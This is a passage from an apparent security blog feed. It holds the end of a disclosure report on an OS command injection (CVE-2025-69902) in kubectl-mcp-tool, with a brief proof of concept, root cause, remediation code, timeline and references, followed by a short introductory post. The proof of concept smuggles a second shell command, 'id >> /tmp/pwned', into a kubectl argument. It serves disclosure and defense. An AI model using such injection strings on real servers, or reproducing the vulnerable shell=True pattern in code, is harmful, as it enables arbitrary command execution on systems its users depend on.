  <p><strong>Note:</strong> This PoC applies to versions &lt;= 1.1.1 only. The vulnerability is patched in version 1.2.0.</p>
</blockquote>

<p><strong>1.</strong> Start a Python REPL inside your venv:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">kubectl_mcp_tool</span> <span class="kn">import</span> <span class="n">minimal_wrapper</span>
<span class="n">minimal_wrapper</span><span class="p">.</span><span class="n">run_kubectl_command</span><span class="p">(</span><span class="s">"get pods; id &gt;&gt; /tmp/pwned"</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>2.</strong> Verify:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /tmp/pwned
</code></pre></div></div>

<p><strong>Expected output</strong> shows the server process identity (e.g., <code class="language-plaintext highlighter-rouge">uid=0(root) ...</code>), proving arbitrary command execution.</p>

<p><strong>Why it succeeds even without kubeconfig:</strong> With <code class="language-plaintext highlighter-rouge">shell=True</code>, the shell executes <code class="language-plaintext highlighter-rouge">kubectl get pods; id &gt;&gt; /tmp/pwned</code>. The injected command (<code class="language-plaintext highlighter-rouge">id</code>) runs independently of kubectl’s success or failure. This behavior is consistent with shell-invoked command strings.</p>

<hr />

<h2 id="6-root-cause">6. Root Cause</h2>

<p>The vulnerability exists because <code class="language-plaintext highlighter-rouge">run_kubectl_command()</code>:</p>

<ol>
  <li>Takes user-controlled input,</li>
  <li>Forms a command string by string interpolation, and</li>
  <li>Executes it using <code class="language-plaintext highlighter-rouge">subprocess.run(..., shell=True, ...)</code></li>
</ol>

<p>This allows shell metacharacters to be interpreted by <code class="language-plaintext highlighter-rouge">/bin/sh -c</code>, enabling OS command injection (CWE-78).</p>

<hr />

<h2 id="7-remediation">7. Remediation</h2>

<p>The patch (PR #40, merged 2026-01-19) addressed the vulnerability with a multi-layered approach:</p>

<ul>
  <li>Removed <code class="language-plaintext highlighter-rouge">shell=True</code> from all subprocess calls</li>
  <li>Added <code class="language-plaintext highlighter-rouge">sanitize_command_args()</code> to block dangerous shell metacharacters</li>
  <li>Added <code class="language-plaintext highlighter-rouge">validate_kubectl_command()</code> with a whitelist of allowed kubectl subcommands</li>
  <li>Added path traversal protection</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">subprocess</span>

<span class="c1"># Before (vulnerable)
</span><span class="n">command</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"kubectl </span><span class="si">{</span><span class="n">command</span><span class="si">}</span><span class="s">"</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="p">...)</span>

<span class="c1"># After (safe — simplified illustration)
</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="s">"kubectl"</span><span class="p">]</span> <span class="o">+</span> <span class="n">sanitize_command_args</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="p">...)</span>
</code></pre></div></div>

<p>This was addressed in version <strong>1.2.0</strong>.</p>

<hr />

<h2 id="8-timeline">8. Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2025-12-12</td>
      <td>Vulnerability discovered</td>
    </tr>
    <tr>
      <td>2025-12-15</td>
      <td>Vendor notified via GitHub issue (#36, private contact requested)</td>
    </tr>
    <tr>
      <td>2025-12-17</td>
      <td>CVE reported to MITRE</td>
    </tr>
    <tr>
      <td>2026-01-19</td>
      <td>Patch released (v1.2.0, PR #40 merged)</td>
    </tr>
    <tr>
      <td>2026-02-20</td>
      <td>CVE-2025-69902 reserved</td>
    </tr>
    <tr>
      <td>2026-03-16</td>
      <td>Public disclosure</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="9-references">9. References</h2>

<ul>
  <li><a href="https://cwe.mitre.org/data/definitions/78.html">CWE-78: Improper Neutralization of Special Elements used in an OS Command</a></li>
  <li><a href="https://docs.python.org/3/library/subprocess.html#security-considerations">Python docs — Security Considerations for <code class="language-plaintext highlighter-rouge">subprocess</code> with <code class="language-plaintext highlighter-rouge">shell=True</code></a></li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69902">CVE-2025-69902 (MITRE)</a></li>
  <li><a href="https://github.com/rohitg00/kubectl-mcp-server/issues/36">GitHub Issue #36</a></li>
  <li><a href="https://github.com/rohitg00/kubectl-mcp-server/pull/40">Patch PR #40</a></li>
</ul>]]></content><author><name>Hayeon</name><email>hayeon.hjn@gmail.com</email></author><category term="Security" /><category term="CVE" /><category term="MCP" /><category term="Kubernetes" /><category term="Command Injection" /><category term="CWE-78" /><summary type="html"><![CDATA[kubectl-mcp-tool의 minimal_wrapper.py에서 발견된 OS Command Injection 취약점(CVE-2025-69902) 분석 및 PoC 보고서입니다.]]></summary></entry><entry><title type="html">첫 포스팅 입니다.</title><link href="https://onemore-hayeon.github.io/%EC%86%8C%EA%B0%9C/first/" rel="alternate" type="text/html" title="첫 포스팅 입니다." /><published>2022-06-27T00:00:00+09:00</published><updated>2022-06-27T00:00:00+09:00</updated><id>https://onemore-hayeon.github.io/%EC%86%8C%EA%B0%9C/first</id><content type="html" xml:base="https://onemore-hayeon.github.io/%EC%86%8C%EA%B0%9C/first/"><![CDATA[<h1 id="개발과-보안-it에-관한-지식을-쌓는-창고-onemore입니다">개발과 보안 IT에 관한 지식을 쌓는 창고, OneMore입니다.</h1>

<p>앞으로 열심히 포스팅 하겠습니다. 감사합니다 (__)</p>]]></content><author><name>Hayeon</name><email>hayeon.hjn@gmail.com</email></author><category term="소개" /><category term="시작" /><category term="OneMore" /><summary type="html"><![CDATA[개발과 보안 IT에 관한 지식을 쌓는 창고, OneMore입니다.]]></summary></entry></feed>